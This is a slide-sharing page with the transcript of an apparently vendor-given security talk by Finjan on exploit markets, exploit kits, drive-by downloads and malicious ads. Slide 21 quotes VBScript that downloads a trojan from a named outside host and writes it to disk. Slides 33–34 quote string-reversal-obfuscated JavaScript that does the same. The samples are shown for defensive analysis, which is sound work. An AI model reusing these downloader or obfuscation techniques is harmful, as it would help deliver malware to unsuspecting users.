SlideServe
Télécharger Obtenir Pro
Menu
Accueil Pro
Préférences
ApparenceLight Aide et commentaires
© SlideServe · v2026

Emerging Threats in Web Security: Understanding Latest Exploits and Attack Techniques

moses avatar
moses
39 diapositives · 516 Views · Sep 24, 2014

This article explores the latest trends and tactics used by attackers in the realm of web security, with insights from Iftach Ian Amit, Director of Security Research at Finjan Inc. It discusses new exploits, including vulnerabilities for popular web browsers, the market for selling such vulnerabilities, and the development of malicious toolkits. Emphasizing the need for robust security measures, the article highlights the inadequacies of traditional reactive security technologies and recommends proactive strategies to combat web threats effectively.

#emerging threats in web security: understanding latest exploits and attack techniques #emerging threats in web security: understanding latest exploits and attack techniques ppt #powerpoint #presentation
Emerging Threats in Web Security: Understanding Latest Exploits and Attack Techniques - slide 1
01 / 39Emerging Threats in Web Security: Understanding Latest Exploits and Attack Techniques
1 / 17

Télécharger la présentation

Emerging Threats in Web Security: Understanding Latest Exploits and Attack Techniques
Une image / un lien ci-dessous est fourni (tel quel) pour télécharger la présentation

Politique de téléchargement : le contenu du site vous est fourni TEL QUEL pour votre information et votre usage personnel ; il ne peut être vendu, concédé sous licence ni partagé sur d’autres sites sans l’accord de son auteur.Le contenu vous est fourni TEL QUEL, pour votre information et votre usage personnel uniquement. Téléchargez la présentation en cliquant sur ce lien. Lors du téléchargement, si vous ne parvenez pas à télécharger une présentation, l’éditeur a peut-être supprimé le fichier de son serveur.Pendant le téléchargement, si vous ne parvenez pas à obtenir une présentation, le fichier a peut-être été supprimé par l’éditeur.

F I N

Plus de contenu associé

Transcription de la présentation

  1. Latest Threats and Attacks in Web Security Iftach Ian Amit Director, Security Research Finjan inc.

  2. The Business Behind New Exploits

  3. IE Vulnerability For Sale

  4. Buying Vulnerabilities 4

  5. Exploits Selling Service

  6. Exploits Selling Service

  7. Web Attacker Toolkit - Website

  8. Web Attacker Toolkit – AV Will Not Detect It

  9. Web Attacker Toolkit – Order Page

  10. Web Attacker Toolkit – Statistics Report

  11. Neo Sploit Updating the ‘customer’ when new versions are available The recent ‘Release note’ log Important update! Please update our product to v1.0.6 RC! 24 April 2007 - fixed crypt algorithm 16 April 2007 - new exploit module added - removed ANI exploit - fixed crypt algorithm 11 April 2007 - new exploit module added - fixed crypt algorithm 31 March 2007 - new exploit module added 22 March 2007 - new exploit module added 11

  12. MPack Toolkit – Statistics Report 12

  13. Multi Exploit Pack 13

  14. Where are the Malicious Servers? Geo footprint of a singleMPack toolkit operator 14

  15. Drive-by, While Visiting Websites Innocent Free Games site

  16. Exploits our desktop to install a Trojan Drive-by, While Visiting Websites Innocent Free Games site

  17. Drive-by, While Visiting Websites Dynamic Code Obfuscation Each user session includes a different exploit content

  18. Drive-by, While Visiting Websites Free Whois service ….

  19. Drive-by, While Visiting Websites • Exploits the Internet Explorer VML vulnerability • Downloads a spyware • Downloads a malicious JPG file – Trojan.JS.Psyme.ct • Checks the type of Anti-Virus installed • Injects a virus that the installed Anti-Virus does not detect

  20. AJAX-Based Exploits in the Wild, Hosted in the US http ://7dias.t35.com/index2.php (Free Web Hosting, IP: 66.45.237.220, Hosted at: Secaucus, New Jersey, USA)

  21. AJAX-Based Exploits in the Wild, Hosted in the US The Trojan to be downloaded     dl = "http://gigafoto.front.ru/pr.exe"     Set df = document.createElement("object")     df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"     str="Microsoft.XMLHTTP"     Set x = df.CreateObject(str,"") str1= "Ado“+ "db.“+ "Str“+ “eam“     str5=str1     set S = df.createobject(str5,"")     str6="GET"     x.Open str6, dl, False     x.Send     set F = df.createobject("Scripting.FileSystemObject","")     set tmp = F.GetSpecialFolder(2) ' Get tmp folder     fname1= F.BuildPath(tmp,fname1)     S.open     S.write x.responseBody     S.savetofile fname1,2     S.close Escape from Anti-Virus signatures AJAX request goes undetected Save Trojan on the victim’s disk

  22. Distributing Malicious Code Using Ads 22

  23. The Malicious Ad 23

  24. Trojan-Based Affiliation Program 24

  25. Trojan-Based Affiliation Program 25

  26. Trojan-Based Affiliation Program – in Action 26

  27. Trojan-Based Affiliation Program 27

  28. How it looks like in the field?

  29. Keeping all this activity under control:Evasive attacks!

  30. Trojan’s Log 30

  31. Trojan’s Log for Sale

  32. Signatures Heuristics URL CAT Reactive Security Technologies… They detect known attacks quickly… BUT THEY Do not stop the next attack Do not stop a targeted attack Require frequent updates Require huge signature / URL databases The next wave of attack A targeted attack

  33. RSS Feed – Malicious Code, Reversed http://www.tv-personalonline.com/rss2/rss.php varfname = "C:\\mssync20.exe"; varurl = RV("1=edom?php.ssr/2ssr/moc.enilnolanosrep-vt.www//:ptth"); RE(""); var _r = RE(";)'tcejbo'(tnemelEetaerc.tnemucod"); RE(";)'r_','di'(etubirttAtes.r_"); RE(";)'63E92CF40C00-A389-0D11-3A56-655C69DB:dislc','dissalc'(etubirttAtes.r_"); varis_ok= 0; try { var _s = RE(";)'','maerts.bdoda'(tcejbOetaerC.r_"); is_ok= 1; } catch(e){} if (is_ok!= 1) { try { var _s = RE(";)'maerts.bdoda'(tcejbOXevitcAwen"); is_ok= 1; } catch(e){} } 33

  34. RSS Feed – Malicious Code Reversed Reversed functions function RE(s) { return eval(RV(s)); } function RV(s) { var rev = ""; for (i = 0; i < s.length; i++) { rev = s.charAt(i) + rev; } return rev; } 34

  35. RSS Feed – Malicious Code Reversed Reverse malicious code – undetected !! ‘Actual’ Malicious code – detected (7 out of 31) 35

  36. Recent Example

  37. Finjan‘s Technology Real-Time Content Inspection (Patented) Inspecting incoming & outgoing code to detect potentially malicious operations (Delete file, Install program, Change settings, etc.)

  38. Audit Results at Customer Networks

  39. Thank you